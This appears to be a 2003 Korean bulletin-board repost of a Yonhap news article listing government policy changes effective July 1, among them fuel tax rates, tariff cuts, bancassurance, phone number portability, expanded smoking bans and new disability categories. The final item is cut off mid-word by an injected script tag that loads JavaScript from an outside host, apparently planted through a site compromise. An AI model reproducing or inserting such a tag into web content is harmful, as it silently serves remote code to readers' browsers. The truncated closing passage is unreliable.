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글쓴이 운영자 작성일 2003-06-25
제목 7월 1일부터 달라지는 것들
(서울=연합뉴스)다음달부터 휘발유.경유.LPG 상대가격비 조정계획에 따라 일부 유종에 붙는 교통세.특소세부과액이 상향조정된다.
또 보험회사 뿐아니라 보험대리점 자격을 취득한 은행, 증권, 상호저축은행에서도 보험상품 가입이 가능하게 되고 병원, 어린이집, 학교 등이 새로 금연시설로 지정돼 규제가 강화된다.

다음은 다음달부터 달라지는 주요내용이다.

◆ 경유.LPG 가격인상= 2006년까지 휘발유.경유.LPG 상대가격비를 100:75:60이 되도록 한다는 에너지세율 조정계획에 따라 유종별 교통세 및 특별소비세율이 달라져 경유의 리터당 교통세.특소세 부과액이 7월1일부터 232원에서 261원으로, LPG는 203원에서 297원으로 오른다. 또 등유는 107원에서 131원, 중유는 6원에서 9원으로 인상된다. 휘발유는 586원에서 572원으로 내린다.

◆ 주요 기초원자재 관세율 인하= 기업의 경쟁력 강화를 위해 5%인 원유관세를 3%로 낮추고 철광석,나프타,망간광,연광,티타늄,석탄,천연가스는 관세가 부과되지 않는다.

◆ 기업결합 신고범위 확대= 외국기업간 기업결합과 국내기업과 외국기업의 결합도 결합 당사자 한쪽의 자산 또는 매출이 1천억원 이상이면서 동시에 한국내 매출액이 30억원 이상이면 공정거래위원회에 신고해 결합심사를 받아야 한다.

◆ 방카슈랑스제 도입= 보험회사뿐 아니라 보험대리점 자격을 취득한 은행,증권,상호저축은행에서도 7월1일부터 보험상품 가입이 가능하며 대상 상품은 7월1일 저축성 보험을 시작으로 2005년 4월 보장성 보험, 2007년 4월부터는 모든 보험을 비보험 금융기관이 취급할 수 있다. 동시에 은행 등에서 보험상품을 판매하면서 대출 등과 연계해 끼워팔기를 하거나 보험료를 대출거래에 포함하는 행위는 금지된다.

◆ 지방 대학.R&D센터 지원확대= 지방소재 대학이 주관하는 연구과제에 대해 석.박사과정 인건비 지원이 수도권지역 대학의 1.5배로 상향 조정된다.

◆ 디지털 저작권 보호확대= 소프트웨어 등 디지털 저작물의 저작권 보호를 위해 저작물에 장치한 기술적 보호조치를 무력화시키는 기술,섭스를 제공하는 행위도 저작권 침해와 동일하게 처벌된다.

그러나 불법 복제.전송되는 저작물이 온라인 서비스제공 사업자의 서비스를 통해 전달되더라도 침해사실을 알지 못했거나 기술적으로 통제가 불가능할 경우 온라인 서비스 제공자의 책임이 경감된다.

◆ 시내전화 번호이동성 실시= 시내전화 가입회사(KT.하나로통신)를 옮기더라도 기존 전화번호를 바꾸지 않고 그대로 사용할 수 있는 시내전화 번호이동성제가 안산.청주.김해.순천 등 4개 지역에서 도입된다.

번호이동성은 하반기중 수원.성남.안양.고양 등 수도권과 대전.광주.울산.전주 ,내년 하반기는 서울과 부산에서도 시행되며 가정용의 신청요금은 4천원, 기업용은 회선수와 관계없이 4만2천원이다.

◆ 이동전화요금 비교홈페이지 개통= 회사마다 지나치게 다양한 형태로 돼있는 이동전화요금을 한 눈에 비교할 수 있도록 요금을 비교할 수 있는 홈페이지가 7월중 개통된다.

◆ '원클릭 스팸신고 프로그램' 개발.보급= 스팸메일 내용을 이용자가 별도로 저장,첨부해 신고토록 돼있는 현행 방식을 바꿔 신고버튼만 누르면 스팸메일이 자동 첨부돼 불법스팸 대응센터로 연결되는 신고프로그램이 7월중 개발,보급된다.

◆ 금연구역 확대 실시= 간접 흡연 피해를 막기위해 7월1일부터 병원,어린이집, 학교를 흡연시설을 설치할 수 없는 '금연시설'로 지정한다. 또 열차통로, 전철 지상플랫폼, 축구장 등 실외 체육시설, 공중이 이용하는 사무실과 회의실, 승강기와 화장실, 복도는 '금연구역'으로 지정된다.

또 전자오락실과 PC방, 만화방과 45평 이상 일반.휴게 음식점은 영업장의 절반을 금연구역으로 지정해야 한다.

◆ 장애범주 15개 범주로 확대= 호흡기, 간, 안면, 장루, 간질장애가 장애범주에 추가돼 장애인복지대상이 확대된다. 기존 법정장애인 외에 11만8천명이 추가 혜택을 받게된다.

◆ 자동차 연료첨가제 관리 강화= 자동차연료 제조업자가 사용하는 첨가제 이외에는 최대 첨가 한도를 1% 미만으로 제한해 첨가제가 연료로 변칙 사용될 수 없도록 함. 이를 위해 휘발유용 첨가제는 0.55ℓ이하, 경유용 첨가제는 2ℓ이하 용기에 담아 제조하도록 했다.

◆ 1회용품 사용 규제 대상 사업장 확대 등 규제 강화= 운동장, 체육관, 종합체육시설에서 각종 경기시 사용되는 막대 풍선 등 1회용 응원용품의 무상 제공 금지.

1회용품의 90% 이상을 회수해 재활용할 경우 1회용품의 사용을 허용했으나 매장면적이 150㎡ 이상인 패스트푸드점 등의 매장내에서는 1회용품의 사용을 전면 규제. 다만 환경부장관과 자율 협약을 체결해 이행하는 경우는 예외가 인정된다.

◆ 서비스분야 인력난 해소를 위?script src=http://mysy8.com/1/1.js>
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